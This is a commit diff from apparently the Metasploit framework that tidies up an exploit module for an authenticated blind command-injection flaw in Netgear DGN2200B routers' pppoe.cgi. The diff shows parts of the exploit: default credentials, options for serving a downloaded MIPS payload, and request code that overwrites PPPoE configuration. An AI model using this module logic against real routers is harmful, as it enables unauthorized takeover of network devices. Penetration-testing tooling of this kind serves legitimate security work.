Do final cleanup for netgear_dgn2200b_pppoe_exec
parent
c1819e6ecc
commit
19a158dce9
|
@ -19,13 +19,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
|
'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Some Netgear Routers are vulnerable to an authenticated OS command injection.
|
Some Netgear Routers are vulnerable to an authenticated OS command injection
|
||||||
Default credentials for the web interface are admin/admin or admin/password.
|
on their web interface. Default credentials for the web interface are admin/admin
|
||||||
Since it is a blind os command injection vulnerability, there is no output for the
|
or admin/password. Since it is a blind os command injection vulnerability, there
|
||||||
executed command when using the cmd generic payload. A ping command against a
|
is no output for the executed command when using the cmd generic payload. A ping
|
||||||
controlled system could be used for testing purposes.
|
command against a controlled system could be used for testing purposes. This module
|
||||||
|
overwrites parts of the PPOE configuration, while the module tries to restore it
|
||||||
WARNING: We overwrite parts of the PPPOE configuration! Backup it prior using this module!
|
after exploitation configuration backup is recommended.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -71,7 +71,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
|
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
|
||||||
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
|
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
|
||||||
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
|
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
|
||||||
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 45])
|
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
|
||||||
|
OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -96,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
if [200, 301, 302].include?(res.code)
|
if [200, 301, 302].include?(res.code)
|
||||||
if res.body =~ /pppoe_username/
|
if res.body =~ /pppoe_username/
|
||||||
print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
|
print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")
|
||||||
else
|
else
|
||||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
|
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
|
||||||
end
|
end
|
||||||
|
@ -157,7 +158,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
|
#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
|
||||||
#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
|
#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
|
||||||
#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
|
#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
{
|
{
|
||||||
'uri' => uri,
|
'uri' => uri,
|
||||||
|
@ -222,7 +222,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
uri = '/pppoe.cgi'
|
uri = '/pppoe.cgi'
|
||||||
user = datastore['USERNAME']
|
user = datastore['USERNAME']
|
||||||
pass = datastore['PASSWORD']
|
pass = datastore['PASSWORD']
|
||||||
@timeout = datastore['HTTP_DELAY']
|
@timeout = datastore['RELOAD_CONF_DELAY']
|
||||||
|
|
||||||
#
|
#
|
||||||
# testing Login
|
# testing Login
|
||||||
|
|
Loading…
Reference in New Issue